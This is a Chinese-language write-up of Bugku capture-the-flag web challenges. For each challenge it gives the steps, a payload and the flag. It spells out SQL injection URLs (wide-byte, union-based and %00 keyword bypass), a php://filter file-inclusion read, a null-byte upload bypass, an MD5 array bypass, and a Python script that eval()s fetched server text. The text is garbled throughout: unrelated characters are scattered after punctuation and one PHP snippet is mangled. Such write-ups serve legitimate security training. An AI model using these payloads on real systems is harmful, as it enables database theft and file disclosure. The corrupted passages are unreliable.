Web2
最直接的辦法:F12打開控制臺凶掰,ctrl+f搜索flag關(guān)鍵字得到flag:KEY{Web-2-bugKssNNikls9100}
第二種是禁用當前頁面的JS咆霜,然后查看源碼看到flag
第三種直接在url前面加上view-source:似枕,即直接訪問view-source:http://120.24.86.145:8002/web2/也可以查看源碼
文件上傳測試
設(shè)置好瀏覽器代理用burpsuite劫持數(shù)據(jù)包
選擇好文件上傳
嘗試%00截斷
拿到flag:Flag:42e97d465f962c53df9549377b513c7e
計算題
查看源碼可知對輸入長度做了限制水评。我們進行修改
成功拿到flag:flag{CTF-bugku-0032}
web基礎(chǔ)$_GET
打開看到如下頁面艳馒,已經(jīng)告訴我們源碼
因此直接構(gòu)造payload
120.24.86.145:8002/get/?what=flag
拿到flag:flag{bugku_get_su8kej2en}
web基礎(chǔ)$_POST
打開看到源碼
這次是需要POST提交寻仗,因此用hackbar模擬
拿到flag:flag{bugku_get_ssseint67se}
矛盾
_GET['num'];
if(!is_numeric(num;
if(num就能拿到flag,URL訪問:http://120.24.86.145:8002/get/index1.php?num=1'
flag:flag{bugku-789-ps-ssdf}
Web3
打開后發(fā)現(xiàn)一直彈窗昧穿,我們禁止彈窗然后查看源碼
用js寫的代碼一直彈窗勺远,底部有一串unicode字符應(yīng)該是flag
解碼后得到flag:KEY{J2sa42ahJK-HS11III}
sql注入
右鍵查看源碼
發(fā)現(xiàn)是gb2312編碼,題目是sql注入时鸵,猜測是寬字節(jié)注入
爆數(shù)據(jù)庫payload:http://103.238.227.13:10083/?id=1%df%27%20union%20select%201,database()--+
最終payload:http://103.238.227.13:10083/?id=1%df%27%20union%20select%201,string from sql5.key--+
flag:KEY{54f3320dc261f313ba712eb3f13a1f6d}
域名解析
提示很清楚胶逢,將flag.bugku.com解析到120.24.86.145即可拿到flag
因此我們修改hosts文件將flag.bugku.com解析到120.24.86.145,添加如下規(guī)則
再次訪問flag.bugku.com
拿到flag:KEY{DSAHDSJ82HDS2211}
SQL注入1
使用%00繞過關(guān)鍵字
爆出數(shù)據(jù)庫為sql3:
http://103.238.227.13:10087/?id=-1%20uni%00on%20sel%00ect%201,database()%20fr%00om%20sql3.key%23
最終payload:http://103.238.227.13:10087/?id=-1 uni%00on sel%00ect 1,hash fr%00om sql3.key%23
flag:KEY{c3d3c17b4ca7f791f85e#$1cc72af274af4adef}
你必須讓他停下
BurpSuite抓包直接Repeater幾次
flag:flag{dummy_game_1s_s0_popular}
本地包含
http://120.24.86.145:8003/?hello=file(%22flag.php%22)
flag:flag{bug-ctf-gg-99}
變量1
利用超全局數(shù)組GLOBALS可以打印出所有變量
http://120.24.86.145:8004/index1.php?args=GLOBALS
flag:flag{92853051ab894a64f7865cf3c2128b34}
Web5
查看源代碼
隱藏了一段字符饰潜,查資料得知是JS代碼經(jīng)過jsfuck編碼的格式初坠,我們復(fù)制到控制臺執(zhí)行
可以看到ctf{whatfk},提示字母大寫囊拜,flag:CTF{WHATFK}
Web4
根據(jù)提示查看源代碼
可以看到這是一段JS的代碼某筐,定義了兩個變量,并且經(jīng)過了url編碼冠跷,我們用burpsuite解碼得到一段代碼
可以看到密碼為67d709b2baa648cf6e87a7114f1南誊,提交一下發(fā)現(xiàn)不對身诺,應(yīng)該是少了一部分,仔細再看看源碼發(fā)現(xiàn)要在變量p2前面加上%35%34%61%61%32再進行解碼
這才是正確的密碼
提交得到flag:KEY{J22JK-HS11}
flag在index里
看到file參數(shù)想到文件包含漏洞
payload:http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
返回的就是index.php的源代碼的base64編碼抄囚,解碼得到flag
flag:flag{edulcni_elif_lacol_si_siht}
備份是個好習(xí)慣
看到備份霉赡,首先想到源碼泄露,訪問一下http://120.24.86.145:8002/web16/index.php.bak幔托,發(fā)現(xiàn)可以下載到源碼
MD5比較繞過穴亏,只不過加了一點過濾。訪問:http://120.24.86.145:8002/web16/?kkeyey1[]=a&kkeyey2[]=b
flag:Bugku{OH_YOU_FIND_MY_MOMY}
成績單
打開看到一個表單重挑,首先想到SQL注入
爆表:-1' union select 1,table_name,3,4 from information_schema.tables where TABLE_SCHEMA='skctf_flag' LIMIT 0,1
爆字段:-1' union select 1,column_name,3,4 from information_schema.columns where TABLE_SCHEMA='skctf_flag' and table_name='fl4g' LIMIT 0,1#
爆flag:-1' union select 1,skctf_flag,3,4 from fl4g#
flag:BUGKU{Sql_INJECT0N_4813drd8hz4}
秋名山老司機
直接用腳本計算出來然后POST提交
import re
import requests
s = requests.Session()
r = s.get("http://120.24.86.145:8002/qiumingshan/")
searchObj = re.search(r'^<div>(.*)=\?;</div>$', r.text, re.M | re.S)
d = {
"value": eval(searchObj.group(1))
}
r = s.post("http://120.24.86.145:8002/qiumingshan/", data=d)
print(r.text)
flag:Bugku{YOU_DID_IT_BY_SECOND}